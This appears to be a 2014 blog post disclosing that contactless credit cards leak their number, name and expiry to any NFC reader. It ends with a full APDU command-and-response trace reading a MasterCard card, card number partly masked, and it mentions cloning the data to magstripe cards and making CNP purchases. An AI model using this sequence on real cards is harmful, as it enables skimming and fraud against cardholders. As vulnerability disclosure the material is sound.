Today is Dienstag, 29th Juli 2014

How to read a contactless credit card such as Visa paywave or MasterCard paypass

RFID enabled creditcards such as MasterCard paypass or Visa paywave have been in the news in the recent time due to the Forbes article on cloning of RFID creditcards as well as the Analysis from viaForensics. The vulnerably of these types of cards is not new. Already in 2006 researchers were able to read creditcard data form such cards as shown by the RSA labs. So far the reading of such cards was demonstrated with creditcard reads such as Vivopay or Verifone Terminals. Thru a new Android app reading of RFID creditcard is now possible for everyone with an NFC enabled phone.

Researchers from viaForensic showed an Android app that allows reading of the creditcard credentials using an NFC Android phone. In order to read the data from the card the Android applications sends four APDUs commands to the cards. A very detailed tutorial on how to structure APDUs for reading creditcards can be found here.

The EMV chip on the card stores the same information as it is on the mag stripe of a card. Both MasterCard (with m/chip) and Visa have a specification on how this data can be read from the chip of the card. Here is a relevant patent for decoding the information from the records read in order to process the CVC and ATC information correctly.

So no breaking of keys or “magic” is required to get the data — just follow the spec. You don’t even need a secure reader or a reader with a SAM (Secure Access Module). A plain ISO14443 reader or an NFC enable phone will do the job.

The chips stored the information from Track 1 and Track 2 thus the following information can be read from the card that is also printed on the front side of the card:

  • Creditcard Number
  • Firstname, Lastname
  • Experation Date
  • Transaction Counter
  • Service Number

The CVV/CVC/CardID is NOT stored on chip in the card. Instead the card generates a dynamic CVC (2 x 2 Bytes + 1 x Byte Application Counter). The information given by Kristin Paget, that the dynamic CVCs can be used for payment is not correct. Using 2 Bytes one could have a CVC up to 65535, which is different than the 3-digit CVCs given on the card.

Having exactly the same information on the chip as on the mag strip has a one huge advantage for the whole payment industry: no additional investments cost for the POS system, when new readers are used. Copying the information read from the RFID cards can be stored on a mag strip card. Then a payment at the POS can be performed.

The transaction is still “save”, as long as the person at the point of sale checks the signature on the card with the signature from the card holder (which is done rarely — at least in Europe).

But anyway, there is still the possibility to read the credentials form the card, which is a problem for the creditcard industry as well as huge privacy issue, as user can be tracked easily and the Name of the persons is exposed to attackers. Additionally payment transactions where no CVC is required can be performed. In the following video a transaction in Amazon’s online store is shown, with the creditcard information read from the card.

Here is a quick trace of a paypass card, which was read with a contactless reader according to the specifications above. We cannot provide the source in order to avoid legal interferences with the credit card companies

There is a python Script that allows you to use a VivoTech reader to read the contacltess MSD information of a card.

[Step 1] Select 2PAY.SYS.DDF01 to get the PSE directory
IN : 00a404000e325041592e5359532e444446303100
OUT: 6f2f840e325041592e5359532e4444463031a51dbf0c1a61184f07a0000000041010500a4d6173746572436172648701019000
real DF Name on Card: 2PAY.SYS.DDF01
ADF-Name (AID): a0000000041010
Priortity Tag: 01
Application name: MasterCard
[Step 2] Select CC Applet
IN : 00a4040007a000000004101000
OUT: 6f1a8407a0000000041010a50f500a4d6173746572436172648701019000
real AID on Card: a0000000041010
FCI Issuer Discretionary Data  present!
Priortity Tag: 01
Application name: MasterCard
[Step 3] Send GET PROCESSING OPTIONS command
IN : 80a8000002830000
OUT: 770a820200009404080101009000
AIP: 0000
AFL: 08010100
[Step 4] Send READ RECORD going thru every record; Current: #1 of 1
IN : 00b2010c00
OUT: 70819e9f6c0200019f62060000000001c09f6306000000007e00564c4235323637353034xxxxxxxxxxxxxxxx5e535550504c4945442f4e4f5420202020202020202020202020205e313330343232313030303030303030303030303030303030303030303030309f6401039f6502000e9f660203f09f6b1352675041xxxxxxxxd13042210000000000000f9f6701039f680e0000000000000000000000001f039000
Mag Stripe Application Version Number (Card): 0001
Track 1 Bit Map for CVC3 (PCVC3TRACK1): 0000000001c0
Track 1 Bit Map for UN and ATC (PUNATCTRACK1): 000000007e00
Track 1 Nr of ATC Digits (NATCTRACK1): 03
Track 2 Bit Map for CVC3 (PCVC3TRACK2): 000e
Track 2 Bit Map for UN and ATC (PUNATCTRACK2): 03f0
Track 2 Data var up to 19: 52675041xxxxxxxxd13042210000000000000f
Track 2 Nr of ATC Digits (NATCTRACK2): 03
Mag Stripe CVM List var up to 32: 0000000000000000000000001f03

Decoded Information from Mag-Stripe:
Name: SUPPLIED/NOT              
Number: 5267504xxxxxxxx
ExpYear: 2013
ExpMonth: 04
Firstname: SUPPLIED
LastName: NOT              
CardType: MasterCard
Valid Checksum: true
[Step 5] Cryptogramm
IN : 802a8e80040000000100
OUT: 770f9f61023ce39f6002a4189f360200c49000
ACT: 00c4

Welcome at